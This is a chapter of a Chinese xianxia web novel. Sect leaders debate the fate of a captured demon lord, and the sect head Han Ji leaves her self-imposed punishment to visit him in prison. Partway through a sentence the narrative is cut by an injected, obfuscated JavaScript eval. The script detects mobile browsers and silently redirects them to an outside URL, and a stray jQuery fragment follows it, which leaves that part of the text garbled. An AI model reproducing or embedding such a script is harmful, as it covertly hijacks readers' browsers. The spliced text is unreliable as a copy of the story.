198. 困仙水狱

作品:《宗主深谙训狗之道

    仙门道盟。


    云非凡与明琮一并肩立在廊下,朝月山一战,仙门道盟大获全胜,二人面色却不好看。


    洛渭被俘,是杀是压便是问题。


    没有神谕剑,没人能保证怨煞之力不会再次破土而出。一切,都需要韩纪配合。但一月内,派去寒山宗拜会的弟子全被打回,寒山宗山门紧锁,当值弟子只冷冷道:“宗主闭关,拒不见客,恕不远送。”


    不仅仙门道盟派去的弟子被尽数打回,仙门百家中众多昔日与寒山宗交好的掌门长老亲自前往,也不过是吃了玉决明一碗又一碗的闭门羹。


    经寒山大殿一战,寒山宗与仙门道盟、明霞宫的关系已跌入谷底,再难修复。


    往日亦有仙门与道盟割席,亦有仙门不自量力同明霞宫作对,但最后都是仙门同道盟、同明霞宫服软低头,无一例外。


    但寒山宗不一样。


    寒山宗山门自封百年,人才凋敝,弟子稀少,本是日薄西山之相,如今山门重开不过一年,便已有问鼎仙门百家的实力,更何况现下寒山宗执剑长老韩玉,执法长老韩月实力非同小可。


    最重要的是,神谕剑主韩纪坐镇寒山,纵使寒山宗退出仙门道盟,仙门百家亦不敢与寒山宗断绝往来。


    雨,要命的雨又下了起来,在廊下串起一片朦朦胧胧的雨幕。


    云非凡望着连绵不绝的雨幕,忽然长叹了一口气,幽幽道:“阿瑾,早知韩纪会出剑封魔……”


    她剩下的话语淹没在雨声中,最后只是摇头叹息,道:“玉决明说得不错,归根结底是我不相信她,是我操之过急。只是,我云殊修仙求道,只为护佑天下苍生,一旦魔主出世,芸芸众生坠入地狱,我又如何能将天下安危系在韩纪一人身上。”


    明琮一自然知晓她的顾虑,摇头道:“如今仙门道盟算是和韩纪彻底撕破脸,不过以我对韩纪的了解,若是道盟有难,她不会坐视不理。现下,真正让我忧心的是万法妖宗。朝月山一战,虽说参与之人皆是仙门道盟长老及其心腹弟子,在参战之前,都立了不死松心契,且我们名义上都说的是封印魔物,但那么大的阵仗,万法妖宗那边已有怀疑。我听闻近日不少妖宗弟子出现在朝月山一带,若是让她们知晓洛渭之事,只怕——”


    云非凡冷冷道:“怕什么?”


    明琮一接道:“休战盟约刚定,两族之间好不容易迎来和平。东海海难,各派死伤精锐众多,追捕洛渭,道盟亦有折损,骤然开战,仙门道盟讨不了好。”


    云非凡道:“没了洛渭,万法妖宗群龙无首,一盘散沙,照我看来,倒不如先封锁消息,养精蓄锐,只待时机成熟,尽数剿灭,一个不留。”


    明琮一沉吟片刻,叹道:“若是开战,仙门道盟只怕要落得个背信弃义的骂名。”


    云非凡淡淡一笑:“自古以来,正邪相争,成王败寇,纵有骂名,又有何惧。若将妖族杀绝,不用十年,四海之内皆是对你我的赞颂,届时又有何人会在乎妖族是否无辜,是否命不该绝?更何况,千百年来,人妖两族倾轧,从无正义可言。今日人族强,仙盟杀妖族,明日人族弱,众妖屠百姓,既是如此,何不趁此良机,斩草除根,赶尽杀绝。”


    明琮一怔在原地,目光缓缓自云非凡面上的笑容移到廊下狂风中飘摇的兰草之上。她缓缓握紧手掌,却在手背青筋暴起的瞬间忽然松开,深深叹了口气,道:“洛渭可开口了?”


    她已不想继续这个话题。


    云非凡看出她的犹豫,便也顺着她的话头说起洛渭。


    “神谕剑下,怨煞之力断绝,他妖丹粉碎,识海尽毁,为免万一,我又立即斩断了他周身妖脉。此刻他身穿缚灵索,镇压在困仙水狱之中,日日经受百刑拷问,便连幻羽迷魂我都给他用了,但他从头至尾只说一句话。”


    明琮一皱起眉头。


    一月以来,她一面试图和寒山宗缓和关系,一面又要抢在万法妖宗之前除去所有痕迹,忙得不可开交,审问洛渭一事,自然交由云非凡处理。可此刻瞧云非凡的神色,恐怕这一个月她是半点关于圣王,关于魔主如何复生之事也没问出。


    想起洛渭,明琮一难免想起卫长风,想起韩纪。


    想起此二人,明琮一只能叹气。


    “什么话?”


    “我要见韩纪。”


    明琮一闭上双眼,揉着眉心,无奈道:“如今仙门百家中无一人能见韩纪,更何况是他。”


    “他不见韩纪,他不开口,我们费尽力气得到的不过是死尸一具;韩纪不见他,又如何能杀情绝爱,重回正道。”云非凡目光闪动,轻轻笑道,“正因如此,才必须请来。”


    明琮一听闻此言,不禁又为韩纪忧心。毕竟,韩纪愿为洛渭自断一臂,可见她心中对洛渭情谊深厚,最后,她为苍生出剑,断绝洛渭生机,此刻心中必然饱受煎熬。如今云非凡又想让她来审问洛渭,实在是过于残忍。


    她看着云非凡,缓缓道:“你我二人,只怕连寒山宗山门都进不去。若是硬闯,以如今我们与韩纪的关系,韩纪会直接杀了我们。”


    云非凡笑道:“你我见不到韩纪,自然有人能见到。”


    身后,传来脚步声,脚步声由远渐近,最后在三丈处停住。


    再进三丈,便是千扶崖碧水石刻。


    韩纪自从朝月山回来后,于英灵祠枯坐一夜,随后颁罪己令于寒潭受刑。此处如今已是寒山宗禁地,因而来人停住脚步。


    韩言本望着瀑布下的人影,听见脚步声立即转过身来,见是韩月,作揖行礼道:“执法长老,宗主有令,除了执剑长老,谁也不见。”


    韩月递出食盒,道:“听闻宗主一月未曾进食,我做了些吃的,你送进去。”


    韩言淡淡道:“弟子不通药理,恕难从命。”


    韩月脸色微变,隐隐有要发怒之色,却终究压下火气,只道:“你还在怨我?洛渭是寒山宗旧案真凶,亦是杀害你师父的凶手,我所作所为,不过是为了杀洛渭给死去的寒山宗弟子报仇,难道你连是非黑白都分不清么?”


    韩言面上冷淡神情有所松动,片刻后又低下头去,只道:“弟子分得清是非黑白,宗主亦分得清是非黑白,是以长老虽借我等之手给宗主下毒,事后又在饭堂伙食中动了手脚,使得寒山宗弟子沉睡数日,但门内始终未对长老进行任何处罚。如此,还不够么?”


    啪的一响,韩言已挨了一耳光。


    “韩言,谁给你的胆子敢这样对我说话?!”


    一直沉默不语的韩树见状赶忙上前将韩言推到身后,朝韩月赔礼道:“月……长老,宗主说了,谁也不见,便是连我们也不见。我们奉命于此当值,倘若放您进去,必有责罚,还请您不要为难我们。”


    韩月怒气稍减,淡淡道:“今日我不会为难你们,但宗主我一定要见。”她话中之意,便是要同两个弟子动手。眼见韩月身上灵力暴涨,韩言韩树退后一步,抽出长剑。但二人修为尚浅,如何抵得住韩月一击之力。不过在韩月手下过了三招,二人便被灵力裹挟着,倒飞而出,往山壁上撞去。


    眼见要撞得头破血流,两人连忙凝神聚力,试图自救,但终究因修为相差过大,砰砰两声重重撞在石壁之上。意料之中的疼痛并没有袭来,二人睁开双眼,只见一道澄澈的灵力化开蓝色灵光,托着他们轻轻落地。


    与此同时,一粒碎石自碧水石刻中飞出,嗤的一声击穿韩月手上食盒,汤水饭食洒落一地。


    韩言韩树即刻拾起地上长剑,守在洞前,警惕地看着韩月。


    韩月垂目看向地上饭盒,蹲下身来,将其中的馒头与菜品一一清理干净。


    她没有走,而是朝着洞口跪下,朗声道:“韩月求见宗主,一日不见宗主,一日不下千扶崖。”


    韩言韩树见状赶忙挪步,以免失礼。


    圆日西垂,残月又起。


    日升月落,月升日沉。


    终于,碧水石刻前,结界破开一隅。


    韩月自一隅之中进入洞中,只见巨大的瀑布之下,韩纪背对着她坐在圆石之上。因着瀑布水流的阻隔,她只看得清韩纪身着单衣,墨发披散,其余再看不清。


    她静静地站在寒潭之前,不知该如何开口。她原本是因云非凡所托,才来此面见韩纪,可如今对着韩纪的背影,竟是一句话也说不出。


    瀑布下的背影动了动,韩纪的声音在唰唰的水声后响起。


    “你来见我,无话可说么?”


    她的声音,比水声更冷。


    二人之间,确实已无话可说。


    韩月沉默了很久,缓缓道:“你是不是还在怪我?”


    韩纪没有回头,只冷冷道:“正如你所说,你所做一切不过是为寒山宗弟子报仇,我为何怪你。”


    韩月听了这话,正声道:“只因……我给你下毒,也给寒山宗弟子下毒,此事确实是我的不是,不管你如何罚我我都认,我也保证以后再不会做这样的事情。”


    韩纪道:“下毒之事,我不怪你,但你向弟子出手之事,不得不罚。你为执法长老,怎么罚,你心中应该比我清楚。”


    韩月顿首道:“向同门出手,杖三十。”


    韩纪不再言语,似乎又与瀑布合为一体。


    过了许久,韩月鼓起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249365|177381||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    勇气正要开口,却听得韩纪冷声说道:“如果你此行是为仙门道盟做说客,便不用再说。不管是什么事,我都不会去。”


    韩月急道:“可是洛渭——”


    “韩月!”


    韩纪的声音陡然冰冷,语气陡然加重。


    “出去。”


    ……


    “仙门道盟施尽百刑,只为问清魔主复生之事,但他从不回答。”


    玉决明的声音在碧水石刻内响起。


    韩纪幽幽道:“韩月来做云非凡的说客,便也罢了。你又是为什么?”


    玉决明弯腰拘起一捧潭水,纵有灵力护体,亦觉冰冷刺骨。他凝目往瀑布之下瞧去,只见韩纪浑身似已布满寒霜。


    叹了口气,他缓缓道:“他还活着,但生不如死,只有他开口,仙门道盟才会给他定下结局,不管是死期,还是永世拘禁,他都不会再受刑罚。我来此处,不是为云非凡做说客,只是不忍他再受折磨。”


    顿了一顿,他道:“他从被捕到现在,只说一句话。”


    韩纪身子轻颤,似乎是忽然感受到瀑布水流的寒冷。


    “他说,他要见你,在见到你之前,他什么都不会回答。”


    过了很久,瀑布中才传来韩纪回答的声音。


    “我对他已无话可说。”


    玉决明道:“可是,你不是说想再见他一面么?”


    他说完这句话,很久都没再得到韩纪的回答。


    他原本以为她不会回答,摇了摇头,准备转身离去,却不料那如同石像一般端坐瀑布之下的人忽然动了动。


    哗啦啦的连声响动,她顶着瀑布水流站起,肩颈脊背都因担着白浪而微微弯曲。刹那后,她落在他身侧时,已穿好衣裳,浑身上下的水露也已被灵力烘干,只是脊背仍微微弯着,鬓边霜雪未化。


    玉决明此时才发现,落在她身上的不是霜雪,而是白发。


    他的师姐,天资卓绝,至少可活五百年,纵使算上死去的一百年,今年不过一百三十五岁,放在仙门百家中,正值壮年。如果不算那一百年,她今年不过三十五岁,这个年纪,则更为年轻,大部分的仙门弟子此时不过是刚刚到下山历练的年纪。


    无论哪个年纪,都不该两鬓染霜。


    玉决明轻轻叹了口气,正欲说话,韩纪的身影已自千扶崖上跃下,眨眼间越过重重山门,消失在翻滚不停的竹浪之间。


    天光渐亮,第一抹阳光照在仙门道盟山门上时,韩纪已立在困仙水狱入口之前。


    石门轧轧响了几声,一夜未眠的云非凡探身而出,瞧见韩纪时,脸上又挂上了那种势在必得的笑容。明琮一紧跟着云非凡走出,瞥见韩纪鬓边白发,眉头轻轻蹙起,垂目叹气。


    云非凡道:“韩宗主,好久不见,我以为你这辈子都不会再踏入仙门道盟。”


    韩纪动也未动,只道:“但是如果你再踏入寒山宗山门一步,我会杀了你。”


    她没在开玩笑,语声冷淡,神情平静,似乎只是在陈述一个事实。说完这句话,她不再理会二人,抬脚往困仙水狱中走去,却又被云非凡伸手拦住。


    云非凡道:“但明霞宫却很欢迎你。”她从袖中抽出一张纸,递到韩纪面前,挑眉道:“这些都是需要同他问清的问题,如果你去问,他愿意说的话,他会少吃很多苦头。”


    那张纸在碰到韩纪衣袖前便粉碎成灰。


    韩纪冷眼瞧着云非凡,一言不发。


    眼见二人势同水火,明琮一上前按下云非凡的手,转身面对韩纪,轻声道:“韩宗主,见你鬓边生了白发,恐怕是伤势未愈所致,盟中近来培育的回元草疗效颇为不错,一会儿我派人给寒山宗送去一些,还请你收下。”


    韩纪面上露出笑意,语声却很冰冷:“我以为,你们巴不得我早点死。”


    云非凡淡淡道:“你是神谕剑主,只有你才可操控神谕剑,我们怎么会希望你死。”


    韩纪冷笑一声,逼近云非凡,道:“云殊,只有我死,下一任神谕剑主才会出世。你倒不如尽快将我杀了,尽快找到新的神谕剑主,将他控制起来,这样神谕剑不就为你所用了吗?”


    云非凡闻言脸色彻底沉了下来道:“韩纪,你不要逼我。”


    韩纪道:“可你却一直在逼我。”


    她再进一步:“我巴不得你对我动手,这样我就可以顺理成章地杀死你。我也警告你,今时不同往日,我不会再对你留手。把你的手从寒山宗撤出去,不要再挑战我的底线。”


    云非凡脸色变了又变,终究被明琮一拉开。


    韩纪径直步入冗长漆黑的甬道。